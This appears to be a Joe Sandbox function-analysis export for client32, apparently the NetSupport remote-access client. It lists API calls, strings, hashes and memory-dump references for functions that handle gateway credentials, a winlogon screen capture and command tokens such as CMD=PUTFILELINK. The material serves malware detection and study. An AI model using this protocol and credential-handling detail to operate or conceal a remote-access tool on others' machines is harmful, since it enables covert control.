Opcode ID: 2b78c885ca7092d50f7b3971725b2a7c7ff69b286f2b648b2b9de1ef00c0ff8f
Instruction ID: c6fb8941b728de1d874c8cf5bae9c94d2d097e9c1a5b8d4b24900e8511d45065
Opcode Fuzzy Hash: 2b78c885ca7092d50f7b3971725b2a7c7ff69b286f2b648b2b9de1ef00c0ff8f
Instruction Fuzzy Hash: A2C17DB1D0066A9FDB22DF658D846ADFAB8BB09314F4141FAE65CE7280D7309B84CF51

Function 6EEFEEA0 Relevance: 40.4, APIs: 21, Strings: 2, Instructions: 182sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(0000031C), ref: 6EEFEEC7
WaitForSingleObject.KERNEL32(00000320,00001388), ref: 6EEFEED5
TerminateThread.KERNEL32(00000320,000000FF), ref: 6EEFEEF5
CloseHandle.KERNEL32(00000320), ref: 6EEFEF07
SetEvent.KERNEL32(00000328), ref: 6EEFEF16
ctl_hangup.HTCTL32(00000001), ref: 6EEFEF26
Sleep.KERNEL32(00000014), ref: 6EEFEFB8
CloseHandle.KERNEL32(0000031C), ref: 6EEFEFCE
CloseHandle.KERNEL32(00000324), ref: 6EEFEFD6
CloseHandle.KERNEL32(00000328), ref: 6EEFEFDF
WSACleanup.WSOCK32 ref: 6EEFEFE9
CloseHandle.KERNEL32(00000314), ref: 6EEFEFFB
DeleteCriticalSection.KERNEL32(00000002), ref: 6EEFF01F
DeleteCriticalSection.KERNEL32(6EF3B898), ref: 6EEFF03A
_free.LIBCMT ref: 6EEFF043

Part of subcall function 6EF11BFD: HeapFree.KERNEL32(00000000,00000000), ref: 6EF11C13
Part of subcall function 6EF11BFD: GetLastError.KERNEL32(00000000), ref: 6EF11C25

_free.LIBCMT ref: 6EEFF04F
_free.LIBCMT ref: 6EEFF07B
_free.LIBCMT ref: 6EEFF08D
_memset.LIBCMT ref: 6EEFF0A1
FreeLibrary.KERNEL32(?), ref: 6EEFF0BB
timeEndPeriod.WINMM(00000001), ref: 6EEFF0D6

Part of subcall function 6EEF4610: DeleteCriticalSection.KERNEL32(-00000008,?), ref: 6EEF4698

Strings

Error. Terminating httprecv Thread, xrefs: 6EEFEEDF
CMD=CLOSE, xrefs: 6EEFEF7D

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$_free$CriticalDeleteSection$EventFree$CleanupErrorHeapLastLibraryObjectPeriodSingleSleepTerminateThreadWait_memsetctl_hanguptime
String ID: CMD=CLOSE$Error. Terminating httprecv Thread
API String ID: 2861375113-448471891
Opcode ID: c486d9b7f3d387617dd11e3d378633d7c7a36abc8159544e90bbeacb7c925ca7
Instruction ID: f56499189893964b09958619cc2fd23b0a5f603e01cfef24883ed30f6c857e53
Opcode Fuzzy Hash: c486d9b7f3d387617dd11e3d378633d7c7a36abc8159544e90bbeacb7c925ca7
Instruction Fuzzy Hash: 9251A9B2920A15DBDF20DFF8CCA4B9B736EAB45304B204829E405D7244EB75E945CBF1

Function 1105D240 Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 124filewindowCOMMON

Download Yara Rule

APIs

OpenFileMappingA.KERNEL32(000F001F,00000000,-00000007), ref: 1105D277
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000), ref: 1105D294
GetDC.USER32(00000000), ref: 1105D2BB
CreateCompatibleDC.GDI32(00000000), ref: 1105D2CF
CreateDIBSection.GDI32(00000000,00000004,00000000,?,?,?), ref: 1105D2F2
SelectObject.GDI32(00000000,00000000), ref: 1105D300
GetTickCount.KERNEL32 ref: 1105D30F
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 1105D333
GetTickCount.KERNEL32 ref: 1105D33C
GetLastError.KERNEL32(?), ref: 1105D348
GdiFlush.GDI32 ref: 1105D35C
SelectObject.GDI32(00000000,?), ref: 1105D367
DeleteObject.GDI32(00000000), ref: 1105D36E
DeleteDC.GDI32(00000000), ref: 1105D378
ReleaseDC.USER32(00000000,00000000), ref: 1105D384
UnmapViewOfFile.KERNEL32(00000000), ref: 1105D38E
CloseHandle.KERNEL32(00000000), ref: 1105D396

Strings

/thumb:, xrefs: 1105D255
Error %d blitting from winlogon, took %d ms, xrefs: 1105D34F
ThumbWL, xrefs: 1105D246

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileObject$CountCreateDeleteSelectTickView$CloseCompatibleErrorFlushHandleLastMappingOpenReleaseSectionUnmap
String ID: /thumb:$Error %d blitting from winlogon, took %d ms$ThumbWL
API String ID: 652520247-4094952007
Opcode ID: 8f5b295e94eaa7f285b731955c0fd9ff915ca6e09ee39c0381679d34cd356cea
Instruction ID: 78b6d8997dae8530c3cf648a665dcf4201cc58d59c57f0d4bee68b800920de56
Opcode Fuzzy Hash: 8f5b295e94eaa7f285b731955c0fd9ff915ca6e09ee39c0381679d34cd356cea
Instruction Fuzzy Hash: 924190B9E41229AFD704CFA4DD89FAEBBB8FB48704F104165F920A7644D730A901CBA1

Function 1102B4C0 Relevance: 33.5, APIs: 4, Strings: 15, Instructions: 291timeCOMMON

Download Yara Rule

APIs

Part of subcall function 110ED520: RegOpenKeyExA.KERNEL32(?,00000056,00000000,00020019,?,?,00000000,00000001,?,11030BFF,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED53C

Part of subcall function 110CFE80: _malloc.LIBCMT ref: 110CFE9A

Part of subcall function 110ED180: RegEnumKeyExA.ADVAPI32(?,?,?,00000200,00000000,00000000,00000000,00000000,?,00000000), ref: 110ED1CB

wsprintfA.USER32 ref: 1102B84D

Part of subcall function 110ED8F0: RegQueryInfoKeyA.ADVAPI32(0002001F,?,?,0002001F,?,?,0002001F,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,1102B625), ref: 110ED926

FileTimeToSystemTime.KERNEL32(0002001F,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 1102B65A
wsprintfA.USER32 ref: 1102B69E
wsprintfA.USER32 ref: 1102B705

Part of subcall function 110EDF70: wsprintfA.USER32 ref: 110EDFD4
Part of subcall function 110EDF70: _malloc.LIBCMT ref: 110EE053

Strings

IsA(), xrefs: 1102B8B1, 1102B8C5
DirectSound, xrefs: 1102B58B
accel=%d, wdm=%d, key=%s, mix=%s, dev=%s, xrefs: 1102B72B
Warning. DSReg e=%d, e2=%d, xrefs: 1102B7EE
%s\%s, xrefs: 1102B6FF, 1102B847
Error. Can't open %s, xrefs: 1102B8D0
DirectSound\Device Presence, xrefs: 1102B5E4
WDM, xrefs: 1102B6D7
%02d/%02d/%02d %02d:%02d:%02d.%03d, xrefs: 1102B698
DirectSound\Mixer Defaults, xrefs: 1102B5B7, 1102B6F3
set %s=15, e=%d, xrefs: 1102B796
Accel=restored, xrefs: 1102B7DD
Acceleration, xrefs: 1102B6BA, 1102B763, 1102B77E, 1102B791, 1102B7C0
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102B8AC, 1102B8C0
Software\NSL\Saved\DS, xrefs: 1102B75E, 1102B7BB

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$Time_malloc$EnumFileInfoOpenQuerySystem
String ID: %02d/%02d/%02d %02d:%02d:%02d.%03d$%s\%s$Accel=restored$Acceleration$DirectSound$DirectSound\Device Presence$DirectSound\Mixer Defaults$Error. Can't open %s$IsA()$Software\NSL\Saved\DS$WDM$Warning. DSReg e=%d, e2=%d$accel=%d, wdm=%d, key=%s, mix=%s, dev=%s$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$set %s=15, e=%d
API String ID: 2153351953-120756110
Opcode ID: 55af8f51facff4bcc049042925dfacc4f9a74063fc1775215d98820dbec6b2aa
Instruction ID: 3d8c04e41a601bc5ed25e478ecb801087f545ab88011abf8f54d42b1378c6c4c
Opcode Fuzzy Hash: 55af8f51facff4bcc049042925dfacc4f9a74063fc1775215d98820dbec6b2aa
Instruction Fuzzy Hash: CEB17075D0122AAFDB24DB55CD98FEDB7B8EF05308F4041D9E91962280EB346E88CF61

Function 6EF04CF0 Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 196COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6EF04D1C
_free.LIBCMT ref: 6EF04E16
_free.LIBCMT ref: 6EF04E5D
_free.LIBCMT ref: 6EF04E8B
_free.LIBCMT ref: 6EF04EB9

Part of subcall function 6EF07B60: _sprintf.LIBCMT ref: 6EF07B77

Part of subcall function 6EF077E0: _free.LIBCMT ref: 6EF077EF

_free.LIBCMT ref: 6EF04EF6

Part of subcall function 6EEF63C0: EnterCriticalSection.KERNEL32(6EF3B898,00000000,?,00000000,?,6EEFD77B,00000000), ref: 6EEF63E8
Part of subcall function 6EEF63C0: InterlockedDecrement.KERNEL32(-0003F3B7), ref: 6EEF63FA
Part of subcall function 6EEF63C0: EnterCriticalSection.KERNEL32(-0003F3CF,?,00000000,?,6EEFD77B,00000000), ref: 6EEF6412
Part of subcall function 6EEF63C0: GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 6EEF643B
Part of subcall function 6EEF63C0: GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 6EEF646F
Part of subcall function 6EEF63C0: GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 6EEF64A3
Part of subcall function 6EEF63C0: _memset.LIBCMT ref: 6EEF65C8
Part of subcall function 6EEF63C0: LeaveCriticalSection.KERNEL32(?,?,6EEFD77B,00000000), ref: 6EEF65D7
Part of subcall function 6EEF63C0: LeaveCriticalSection.KERNEL32(6EF3B898,?,00000000,?,6EEFD77B,00000000), ref: 6EEF65F2

_free.LIBCMT ref: 6EF04EED

Part of subcall function 6EF11BFD: HeapFree.KERNEL32(00000000,00000000), ref: 6EF11C13
Part of subcall function 6EF11BFD: GetLastError.KERNEL32(00000000), ref: 6EF11C25

_free.LIBCMT ref: 6EF04F09
SetLastError.KERNEL32(?), ref: 6EF04F12

Part of subcall function 6EEF8C30: _memset.LIBCMT ref: 6EEF8C5B
Part of subcall function 6EEF8C30: _free.LIBCMT ref: 6EEF8CCC

Part of subcall function 6EEF8B50: _memset.LIBCMT ref: 6EEF8B68
Part of subcall function 6EEF8B50: wsprintfA.USER32 ref: 6EEF8B87

Strings

LINK=%s, xrefs: 6EF04EAD
GSK=%s, xrefs: 6EF04DDC
Gateway_Operator, xrefs: 6EF04D66
FNAME=%s, xrefs: 6EF04E7F
Gateway_Password, xrefs: 6EF04D82
PWD=%s, xrefs: 6EF04E29
CMD=PUTFILELINK, xrefs: 6EF04DBB
ON=%s, xrefs: 6EF04E0A
Gateway_Gsk, xrefs: 6EF04D56
SUB=%s, xrefs: 6EF04E51

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: _free$CriticalSection_memset$AddressProc$EnterErrorLastLeave$DecrementFreeHeapInterlocked_sprintfwsprintf
String ID: CMD=PUTFILELINK$FNAME=%s$GSK=%s$Gateway_Gsk$Gateway_Operator$Gateway_Password$LINK=%s$ON=%s$PWD=%s$SUB=%s
API String ID: 2025600352-1925890548
Opcode ID: 3b5d32122ab9e43e9e4054e30db6da1d035dd4c5f54635f58162a97b2105cd80
Instruction ID: 040447f006d3d09e90dcc283d41860b0605526f4b1a20ad102d9a961b39de521
Opcode Fuzzy Hash: 3b5d32122ab9e43e9e4054e30db6da1d035dd4c5f54635f58162a97b2105cd80
Instruction Fuzzy Hash: D06150B2D0420CABDB11DFE4CC60FDEBBBCAF55704F20481AE515AB245EB31A509DBA5

Function 6EF00F10 Relevance: 30.1, APIs: 7, Strings: 10, Instructions: 324COMMON

Download Yara Rule

APIs

Part of subcall function 6EF0DBD0: _malloc.LIBCMT ref: 6EF0DBE9
Part of subcall function 6EF0DBD0: wsprintfA.USER32 ref: 6EF0DC04
Part of subcall function 6EF0DBD0: _memset.LIBCMT ref: 6EF0DC27

_memset.LIBCMT ref: 6EF00FAD
EnterCriticalSection.KERNEL32(6EF3B898,6EF30E3D,?,?,?,?,?,?,00000000), ref: 6EF01293
LeaveCriticalSection.KERNEL32(6EF3B898,?,?,?,?,?,?,00000000), ref: 6EF012E3
EnterCriticalSection.KERNEL32(6EF3B898,6EF30E3D,?,?,?,?,?,?,00000000), ref: 6EF01316
LeaveCriticalSection.KERNEL32(6EF3B898,?,?,?,?,?,?,00000000), ref: 6EF0132D
std::exception::exception.LIBCMT ref: 6EF0135B
__CxxThrowException@8.LIBCMT ref: 6EF01376

Strings

MORE, xrefs: 6EF0107F
b, xrefs: 6EF012CE
FLG, xrefs: 6EF01163
RESULT, xrefs: 6EF01061
ENC, xrefs: 6EF010DF
TIM, xrefs: 6EF01142
CAP, xrefs: 6EF01121
UID, xrefs: 6EF010BE
END_REC, xrefs: 6EF01250
TXT, xrefs: 6EF01100

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave_memset$Exception@8Throw_mallocstd::exception::exceptionwsprintf
String ID: CAP$ENC$END_REC$FLG$MORE$RESULT$TIM$TXT$UID$b
API String ID: 275297366-914382535
Opcode ID: b77c68fd188f48f9a255df4a2ff6be611eb7e693747c70798a4f2d66009b6155
Instruction ID: 8dddf0f1a7d7fc2523e693d763cbdef4540b13425bf31d31db473aa38ea96fe4
Opcode Fuzzy Hash: b77c68fd188f48f9a255df4a2ff6be611eb7e693747c70798a4f2d66009b6155
Instruction Fuzzy Hash: 65C164B1D0025A9BDF10DFE49C71ADEB7B8AF45208F10097BE409EA245FB355B48DB92

Function 110EB540 Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 141windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

wsprintfA.USER32 ref: 110EB5D8
GetTickCount.KERNEL32 ref: 110EB632
SendMessageA.USER32(?,0000004A,?,?), ref: 110EB646
GetTickCount.KERNEL32 ref: 110EB64E
SendMessageTimeoutA.USER32(?,0000004A,?,?,00000000,?,?), ref: 110EB696
OpenEventA.KERNEL32(00000002,00000000,runplugin.dmp.1,?,00000000), ref: 110EB6C8
SetEvent.KERNEL32(00000000,?,00000000), ref: 110EB6D5
CloseHandle.KERNEL32(00000000,?,00000000), ref: 110EB6DC

Strings

_debug, xrefs: 110EB56D
TracePlugins, xrefs: 110EB560
Warning: SendMessage to Runplugin took %d ms (possibly unresponsive), xrefs: 110EB65A
Error. Runplugin is unresponsive, xrefs: 110EB6E2
%s, xrefs: 110EB603
DATA, xrefs: 110EB586
runplugin %s (hWnd=%x,u=%d,64=%d) , xrefs: 110EB5D2
INIT, xrefs: 110EB57C
runplugin.dmp.1, xrefs: 110EB6BF

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountEventMessageSendTick$CloseHandleOpenTimeout__wcstoi64wsprintf
String ID: %s$DATA$Error. Runplugin is unresponsive$INIT$TracePlugins$Warning: SendMessage to Runplugin took %d ms (possibly unresponsive)$_debug$runplugin %s (hWnd=%x,u=%d,64=%d) $runplugin.dmp.1
API String ID: 3451743168-2289091950
Opcode ID: ead4b02f65febedee58ec954df4c387db7c39c25c30fbfeabe7c28379be18f45
Instruction ID: 06eeb675c9fb82aaee3c5e1b90d71b9ae50c85907530b7dc4e87486fa2a47647
Opcode Fuzzy Hash: ead4b02f65febedee58ec954df4c387db7c39c25c30fbfeabe7c28379be18f45
Instruction Fuzzy Hash: A141E775A012199FD724CFA5DC84FAEF7B8EF48304F1085AAE91AA7640D631AD40CFB1

Function 11039410 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 126windowCOMMON

Download Yara Rule

APIs

Part of subcall function 110CF130: GetDlgItem.USER32(?,000017DD), ref: 110CF18A
Part of subcall function 110CF130: ShowWindow.USER32(00000000,00000000), ref: 110CF1AF
Part of subcall function 110CF130: GetWindowRect.USER32(00000000,?), ref: 110CF1DD
Part of subcall function 110CF130: GetObjectA.GDI32(00000000,0000003C,?), ref: 110CF21D
Part of subcall function 110CF130: GetWindowTextA.USER32(00000000,?,00000100), ref: 110CF276

GetDlgItem.USER32(00000000,00000001), ref: 1103944A
EnableWindow.USER32(00000000,00000000), ref: 1103944F
_calloc.LIBCMT ref: 1103945C
GetSystemMenu.USER32(?,00000000), ref: 11039490
EnableMenuItem.USER32(00000000,0000F060,00000002), ref: 1103949E
GetDlgItem.USER32(00000000,0000044E), ref: 110394BC
SetWindowPos.USER32(00000000,00000001,00000000,00000000,00000000,00000000,00000043), ref: 11039509
SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000043), ref: 11039538
UpdateWindow.USER32(00000000), ref: 11039567
BringWindowToTop.USER32(?), ref: 1103956E

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Part of subcall function 1115FFC0: SetForegroundWindow.USER32(?), ref: 1115FFEE

MessageBeep.USER32(000000FF), ref: 1103957F

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h, xrefs: 1103942B
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110394E1, 11039516, 11039551
m_hWnd, xrefs: 11039430, 110394E6, 1103951B, 11039556
m_nc, xrefs: 11039475
CLTCONN.CPP, xrefs: 11039470

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Item$EnableMenuMessage$BeepBringErrorExitForegroundLastObjectProcessRectShowSystemTextUpdate_callocwsprintf
String ID: CLTCONN.CPP$e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd$m_nc
API String ID: 4191401721-1182766118
Opcode ID: 51b6937d982a358fdf259d5baecad387e1d1d56d4f23d55ad49fb18189202900
Instruction ID: fea8d420f6ab3010a63bc2930e21c2de0d8b75aa48f279369a9769ea0f724755
Opcode Fuzzy Hash: 51b6937d982a358fdf259d5baecad387e1d1d56d4f23d55ad49fb18189202900
Instruction Fuzzy Hash: 0C411AB9B803157BE7209761DC87F9AF398AB84B1CF104434F3267B6C0EAB5B4408759

Function 110CB450 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 117registryclipboardCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(111F3420,?,00000000,00000000,?,110CB60A,1105E75F,?,00000000,?,110BE929,00000000,00000000,?,1105E75F,?), ref: 110CB45E
RegisterClipboardFormatA.USER32(WM_ATLGETHOST), ref: 110CB46F
RegisterClipboardFormatA.USER32(WM_ATLGETCONTROL), ref: 110CB47B
GetClassInfoExA.USER32(11000000,AtlAxWin100,?), ref: 110CB4A0
LoadCursorA.USER32(00000000,00007F00), ref: 110CB4D1
RegisterClassExA.USER32(?), ref: 110CB4F2
_memset.LIBCMT ref: 110CB51B
GetClassInfoExA.USER32(11000000,AtlAxWinLic100,?), ref: 110CB536
LoadCursorA.USER32(00000000,00007F00), ref: 110CB56B
RegisterClassExA.USER32(?), ref: 110CB58C
LeaveCriticalSection.KERNEL32(111F3420,0000000E), ref: 110CB5B5
LeaveCriticalSection.KERNEL32(111F3420,?,?,?,?,110CB60A,1105E75F,?,00000000,?,110BE929,00000000,00000000,?,1105E75F,?), ref: 110CB5CB

Part of subcall function 110C2C00: __recalloc.LIBCMT ref: 110C2C48

Strings

WM_ATLGETHOST, xrefs: 110CB46A
WM_ATLGETCONTROL, xrefs: 110CB471
AtlAxWinLic100, xrefs: 110CB52D, 110CB582
AtlAxWin100, xrefs: 110CB492, 110CB4E8

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClassRegister$CriticalSection$ClipboardCursorFormatInfoLeaveLoad$Enter__recalloc_memset
String ID: AtlAxWin100$AtlAxWinLic100$WM_ATLGETCONTROL$WM_ATLGETHOST
API String ID: 2220097787-1587594278
Opcode ID: 8be8c82d578b7ce9cf9cc495cb365543be575607f387d856cefed87b35aa24b4
Instruction ID: 380367346e18165f725bae6bc82d4f79de56b371e9301c8febdab5dbf058e0d0
